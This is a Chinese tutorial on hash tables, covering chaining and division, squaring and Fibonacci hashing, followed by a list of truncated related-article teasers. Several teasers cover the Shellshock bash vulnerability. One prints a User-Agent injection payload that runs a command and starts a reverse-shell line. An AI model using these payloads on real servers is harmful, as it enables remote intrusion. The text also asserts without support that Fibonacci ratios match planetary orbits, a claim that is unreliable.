什么是Hash表

article/2025/9/17 17:29:44

 

1.定义

Hash(散列/哈希),就是把任意长度的输入(又叫做预映射, pre-image),通过散列算法,变换成固定长度的输出,该输出就是散列值。这种转换是一种压缩映射,也就是,散列值的空间通常远小于输入的空间,不同的输入可能会散列成相同的输出(引出后面碰撞处理)而不可能从散列值来唯一的确定输入值。

数组的特点是:寻址容易,插入和删除困难;而链表的特点是:寻址困难,插入和删除容易。那么我们能不能综合两者的特性,做出一种寻址容易,插入删除也容易的数据结构?答案是肯定的,这就是我们要提起的哈希表,哈希表有多种不同的实现方法,我接下来解释的是最常用的一种方法——拉链法,我们可以理解为“链表的数组”,如图:

                                                   clip_image001

这样的设计的数据结构需要考虑的最重要的问题就是,如何将数据存入?

2.散列法

元素特征转变为数组下标的方法就是散列法。散列法当然不止一种,下面列出三种比较常用的:

(1)除法散列法

最直观的一种,上图使用的就是这种散列法,公式:

index = value % 16

学过汇编的都知道,求模数其实是通过一个除法运算得到的,所以叫“除法散列法”。

(2)平方散列法

求index是非常频繁的操作,而乘法的运算要比除法来得省时(对现在的CPU来说,估计我们感觉不出来),所以我们考虑把除法换成乘法和一个位移操作。公式:

index = (value * value) >> 28 (右移,除以2^28。记法:左移变大,是乘。右移变小,是除。)

如果数值分配比较均匀的话这种方法能得到不错的结果,但我上面画的那个图的各个元素的值算出来的index都是0——非常失败。也许你还有个问题,value如果很大,value * value不会溢出吗?答案是会的,但我们这个乘法不关心溢出,因为我们根本不是为了获取相乘结果,而是为了获取index。

(3)斐波那契(Fibonacci)散列法

平方散列法的缺点是显而易见的,所以我们能不能找出一个理想的乘数,而不是拿value本身当作乘数呢?答案是肯定的。

1. 对于16位整数而言,这个乘数是40503

2. 对于32位整数而言,这个乘数是2654435769

3. 对于64位整数而言,这个乘数是11400714819323198485

这几个“理想乘数”是如何得出来的呢?这跟一个法则有关,叫黄金分割法则,而描述黄金分割法则的最经典表达式无疑就是著名的斐波那契数列,即如此形式的序列:0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181, 6765, 10946,…。另外,斐波那契数列的值和太阳系八大行星的轨道半径的比例出奇吻合。

对我们常见的32位整数而言,公式:

index = (value * 2654435769) >> 28

如果用这种斐波那契散列法的话,那上面的图就变成这样了:

                                          clip_image002

3.基本原理及要点

hash函数 : 原始数据 ---(某些操作)----> 重复性小的int值 ----(散列函数)---->数组下标

碰撞处理(hash函数计算出的下标相同的情况)

一种是open hashing,也称为拉链法;另一种就是closed hashing,也称开地址法,opened addressing。


http://chatgpt.dhexx.cn/article/7gTDUhoQ.shtml

相关文章

HASH表的创建(C语言)

HASH表的创建(C语言) 一、简介: 哈希表又称散列表。哈希表存储的基本思想是:以数据表中的每个记录的关键字 key为自变量,通过一种函数H(key)计算出函数值。把这个值解释为一块连续存储空间(即数组空间)的单…

java中HashMap与Hash表详解

转载至https://blog.csdn.net/u010297957/article/details/51974340 哈希算法,是一类算法;哈希表(Hash Table)是一种数据结构;哈希函数,是支撑哈希表的一类函数;Map是映射、地图的意思&#xff…

c实现Hash表

目录 一、简介 二、hash表结构图 三、结构定义 四、成员函数 初始化 销毁 辅助函数 辅助函数 添加 删除结点 查找 打印函数 测试 一、简介 使用crc16作为hash函数; 使用拉链法解决hash冲突; 简单的hash表; 二、hash表结构图 三、结构定义 1.hash函…

hash表的实现原理

hash表的实现原理 哈希表(Hash table,也叫散列表),所谓hash表,就是以 键-值(key-indexed) 的形式存储的数据结构。可以根据key来快速的查找到value。也就是说,它通过把key值映射到表中一个位置来访问记录&a…

哈希表是什么

一.什么是哈希表 ​散列表(Hash table,也叫哈希表),是根据键(Key)而直接访问在内存存储位置的数据结构。也就是说,它通过计算一个关于键值的函数,将所需查询的数据映射到表中一个位…

数据结构 Hash表(哈希表)

参考链接:数据结构(严蔚敏) 文章发布很久了,具体细节已经不清晰了,不再回复各种问题 文章整理自严蔚敏公开课视频 可以参考 https://www.bilibili.com/video/av22258871/ 如果链接失效 可以自行搜索 数据结构严蔚敏视频…

Linux Shell Shock漏洞利用和实战

漏洞介绍: Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易…

Bash(shellshock)

影响 漏洞影响&#xff1a;GNU Bash < 4.3 启动服务器 搭建&#xff1a;docker-compose up -d 查看&#xff1a;docker-compose ps 抵达网站 抓包拦截 User-Agent: () { :;};echo ; echo; echo $(/bin/ls /); 反弹shell&#xff1a;User-Agent:() { :; }; /bin/bash -i &g…

shell-awk

文章目录 一、com1.awk的作用和工作模式2.awk同其他文本处理程序的对比3.awk的正则 二、syntax1.basic format2.options&#xff1a;-F -fs 指定行中划分数据字段的字段分隔符。awk中默认的字段分隔符是任意的空白字符&#xff08;例如n个空格或n个制表符tab&#xff09;&#…

【靶场补充】项目十二补充(shellshock原理)

补充&#xff1a;关于项目12shellshock原理以及与CGI的利用原理 靶场WP地址 &#x1f525;系列专栏&#xff1a;Vulnhub百个项目渗透 &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f4c6;首发时间&#xff1a;&#x1f334;2022年9月…

[pwnable.kr]shellshock

题目大概是在提示我们跟shellshock有关 看到提供了bash&#xff0c; 先看看c源代码 #include <stdio.h> int main(){setresuid(getegid(), getegid(), getegid());setresgid(getegid(), getegid(), getegid());system("/home/shellshock/bash -c echo shock_me&quo…

vulhub漏洞复现-bash(CVE-2014-6271) shellshock-破壳漏洞

漏洞简介 破壳漏洞&#xff08;shellshock&#xff09;&#xff0c;也被称为bashdoor&#xff0c;是广泛使用的Unix shell中的一系列安全漏洞&#xff0c;其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务&#xff0c;如一些网络服务器部署&#xff0c;使用bash来处…

bash(CVE-2014-6271) shellshock-破壳漏洞复现

漏洞简介 破壳漏洞&#xff08;shellshock&#xff09;&#xff0c;也被称为bashdoor&#xff0c;是广泛使用的Unix shell中的一系列安全漏洞&#xff0c;其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务&#xff0c;如一些网络服务器部署&#xff0c;使用bash来处…

pwnable-shellshock

文章目录 概述题目题目描述连接信息基本信息查看源代码源代码分析题目解法 概述 pwnable是一个经典的CTF中PWN方向练习的专业网站&#xff0c;本文记录的题目是shellshock&#xff0c;主要考察的是破壳漏洞的利用。 题目 题目描述 题目提示 there was a shocking news about…

LINUX漏洞复现篇之ShellShock漏洞

简介 ShellShock漏洞, 中文称为"破壳漏洞", 是Unix Shell中的安全漏洞 在一些网络服务器的部署中, 使用bash来处理某些请求, 允许攻击者通过低版本的bash执行任意Shell命令 此漏洞在调用BashShell之前使用payload创建环境变量, 这些环境变量包含Shell代码, 在Shel…

详解ShellShock 漏洞复现原理,内附ShellShock的修复方法

本篇文章适合初学ShellShock漏洞阅读&#xff0c;如果您已经学习过ShellShock漏洞&#xff0c;可以直接略过。本篇是我们悬镜安全实验室成员之一Kr0iNgs 在学习ShellShock时分享的一点心得&#xff0c;仅供大家参考学习。 ShellShock漏洞出现时间很早&#xff0c;相信很多人也对…

Bash Shellshock(Bash远程代码执行)漏洞批量利用脚本

Bash远程代码执行漏洞的威力确实要比心脏滴血大很多&#xff0c;但是影响范围不是很广泛&#xff0c;不过昨天的分析文章Bash远程代码执行漏洞分析中末尾提到了这个漏洞的批量问题。 其中最最简单的方法就是使用搜索引擎的hacking技术&#xff0c;这里我使用的Google Hacking语…

Bash Shellshock(Bash远程代码执行)漏洞分析及利用思路

&#xfeff;&#xfeff; 今日爆出一个Bash的RCE漏洞&#xff0c;威力巨大。看了看老外的分析&#xff0c;觉得有必要写一写自己对这个漏洞的理解。 首先&#xff0c;问题起因于一个命令ENV。 原型&#xff1a; env [OPTION]... [NAMEVALUE]... [COMMAND [ARGS]...] Man是…

ShellShock20.04版本

ShellShock20.04版本 Topic shellshock环境变量Bash中的函数定义Apache和CGI程序 实验环境设置 DNS Setting 将IP10.9.0.80和www.seedlab-shellshock.com连接 使用cat /etc/hosts查看DNS设置 hosts格式配置 hosts文件可以配置主机ip与对应的主机名。在局域网或者是万维网…

Shellshock漏洞复现

Shellshock漏洞复现 bash说明漏洞原理漏洞复现环境说明漏洞条件漏洞复现 bash说明 Bash是Unix shell的一种。1989年发布第一个正式版本&#xff0c;原先是计划用在GNU操作系统上&#xff0c;但能运行于大多数类Unix系统的操作系统之上。 漏洞原理 目前的Bash使用的环境变量是通…